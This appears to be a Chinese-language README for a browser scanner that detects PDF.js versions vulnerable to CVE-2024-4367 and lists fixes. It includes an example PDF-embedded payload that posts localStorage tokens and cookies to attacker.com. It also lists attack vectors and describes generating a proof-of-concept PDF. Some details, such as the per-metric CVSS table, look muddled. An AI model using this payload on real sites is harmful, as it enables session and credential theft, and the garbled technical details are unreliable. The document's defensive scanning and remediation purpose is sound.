⚠️ 关键安全工具 | 检测 CVE-2024-4367(CVSS 9.8)- PDF.js 远程代码执行漏洞
适用于任何网站 - 零配置
CVE-2024-4367 是 PDF.js(版本 < 4.2.67)中的一个关键漏洞,允许通过恶意 PDF 文件执行任意 JavaScript。此扫描器能自动检测任何网站上存在漏洞的 PDF.js 实例。
PDF.js 存在一个缺陷,即 PDF 文件中嵌入的 JavaScript 未经正确沙箱化即被执行,允许攻击者:
F12 打开开发者工具Enter创建一个书签,URL 如下:
javascript:(function(){const s=document.createElement('script');s.src='https://cdn.jsdelivr.net/gh/yourusername/CVE-2024-4367-Scanner/scanner.js';document.body.appendChild(s);})();
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# 打开任何网站并运行脚本
<embed> 元素<object> 数据标签?pdf=、?file=、?src=).pdf 的文件输入字段┌─────────────────────────────────────────────────────────────┐
│ 扫描流程 │
├─────────────────────────────────────────────────────────────┤
│ │
│ 1. 📚 加载脚本 │
│ ├─ 外部脚本(所有 <script src="">) │
│ └─ 内联脚本(所有 <script> 标签) │
│ │
│ 2. 🔍 提取 PDF.js 版本 │
│ ├─ 代码中的模式匹配 │
│ ├─ 检测 Package.json │
│ └─ 解析 Node_modules 路径 │
│ │
│ 3. 🎯 识别漏洞 │
│ ├─ 版本 < 4.2.67 ? → 存在漏洞 │
│ └─ 版本 = 2.16.105 ? → 存在漏洞 │
│ │
│ 4. 🖼️ 定位查看器 │
│ ├─ DOM 元素扫描 │
│ └─ 属性检测 │
│ │
│ 5. ⚡ 生成 PoC │
│ ├─ 创建测试 PDF │
│ └─ 提供下载链接 │
│ │
│ 6. 📊 显示结果 │
│ ├─ 可视覆盖层 │
│ ├─ 控制台报告 │
│ └─ 全局变量存储 │
│ │
└─────────────────────────────────────────────────────────────┘
╔═══════════════════════════════════════════════════════════════════════════════════╗
║ CVE-2024-4367 - 通用 PDF.js 扫描器 ║
║ 检测存在漏洞的 PDF.js 版本及潜在攻击方式 ║
╚═══════════════════════════════════════════════════════════════════════════════════╝
📚 阶段 1:扫描 JavaScript 包以查找 PDF.js
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] 发现 42 个外部脚本
[+] 发现 12 个内联脚本
[1/42] 分析中: vendor.bundle.js
→ 发现 PDF.js 指示符: pdfjs-dist
✅ 找到 PDF.js 版本: 2.16.105
🚨 存在 CVE-2024-4367 漏洞!
🎯 阶段 4:识别攻击向量
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
⚠️ URL 参数接受 PDF: file=/documents/report.pdf
⚠️ 发现 PDF 上传表单
█████████████████████████████████████████████████████████████████████████████████
最终扫描报告
█████████████████████████████████████████████████████████████████████████████████
🚨 确认存在严重漏洞!
CVE: CVE-2024-4367
CVSS: 9.8(严重)
影响:任意 JavaScript 执行
┌─────────────────────────────────────────────────────────────┐
│ CVE-2024-4367 扫描结果 │
│ ━━━━━━━━━━━━━━━━━━━━━━━ │
│ 📍 目标: example.com │
│ 📦 PDF.js: 2.16.105 │
│ 🎯 存在漏洞: 是 │
│ 📄 查看器: 3 │
│ ⚡ 攻击向量: 2 │
│ ━━━━━━━━━━━━━━━━━━━━━━━ │
│ 🔴 严重 - 需要升级 │
└─────────────────────────────────────────────────────────────┘
# 对于 Node.js 项目
npm install pdfjs-dist@latest
# 对于 CDN 使用
# 更新到 4.2.67 或更高版本
// 在加载 PDF.js 之前设置
pdfjsLib.GlobalWorkerOptions.disableJavaScript = true;
Content-Security-Policy: script-src 'self';
object-src 'none';
worker-src 'none'
// 在渲染前验证 PDF 文件
function validatePDF(file) {
// 检查魔数
const header = file.slice(0, 5);
if (header !== '%PDF-') {
throw new Error('无效的 PDF 文件');
}
// 扫描 JavaScript
const text = file.toString();
if (text.includes('/JavaScript') ||
text.includes('/JS') ||
text.includes('<< /S /JavaScript >>')) {
throw new Error('PDF 包含 JavaScript');
}
}
URL 参数
/viewer?file=malicious.pdf
/download?pdf=malicious.pdf
文件上传
<input type="file" accept=".pdf">
嵌入查看器
<embed src="malicious.pdf">
API 端点
/api/documents/123/download
/api/report/pdf
// PDF 嵌入的 JavaScript
this.alert('CVE-2024-4367 已被利用!');
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
token: localStorage.getItem('token'),
cookies: document.cookie
})
});
安装扫描器
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
运行扫描器
# 打开目标网站
# 在控制台中粘贴扫描器
# 或使用书签脚本
分析结果
下载 PoC PDF(如果存在漏洞)
应用修复
| 场景 | 结果 |
|---|---|
| PDF.js 2.16.105 | 🔴 严重 |
| PDF.js 3.x | 🔴 存在漏洞 |
| PDF.js 4.0.x | 🔴 存在漏洞 |
| PDF.js 4.2.67+ | ✅ 安全 |
| 无 PDF.js |
// 存在漏洞的版本
const VULNERABLE_VERSIONS = [
{ version: '2.16.105', status: '严重' },
{ version: '3.x.x', status: '严重' },
{ version: '4.0.x - 4.2.66', status: '严重' }
];
// 安全版本
const SAFE_VERSION = '4.2.67';
| 日期 | 事件 |
|---|---|
| 2024-04-23 | 漏洞发现 |
| 2024-04-24 | 分配 CVE-2024-4367 |
| 2024-04-25 | 发布补丁(4.2.67) |
| 2024-04-26 | 公开披露 |
| 2024-05-01 |
重要提示:此工具仅用于授权的安全测试和教育目的。
- ✅ 可以在您自己的网站上使用
- ✅ 可以在获得明确许可的情况下使用
- ✅ 可以用于安全研究
- ❌ 不得在未经授权的系统上使用
- ❌ 不得用于恶意目的
作者对此工具的任何误用或造成的损害不承担责任。
欢迎贡献!请:
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# 进行您的更改
# 在多个网站上测试
# 提交 PR
本项目采用 MIT 许可证 - 详见 LICENSE 文件。
如果您觉得这个工具有用:
| 解决方案 | 难度 | 效果 |
|---|
| 升级 PDF.js | 简单 | ✅ 完全修复 |
| 在 PDF.js 中禁用 JS | 简单 | ✅ 完全修复 |
| 实施 CSP | 中等 | ✅ 良好 |
| 服务器端验证 | 中等 | ✅ 良好 |
| 沙箱化渲染 | 困难 | ✅ 优秀 |
| ℹ️ 安全 |
| 观察到利用尝试 |
| 组件 | 分数 |
|---|
| 攻击向量 | 网络(9.8) |
| 攻击复杂度 | 低(9.8) |
| 所需权限 | 无(9.8) |
| 用户交互 | 需要(8.8) |
| 范围 | 已改变(9.1) |
| 机密性 | 高(9.8) |
| 完整性 | 高(9.8) |
| 可用性 | 高(9.8) |
| 总分 | 9.8(严重) |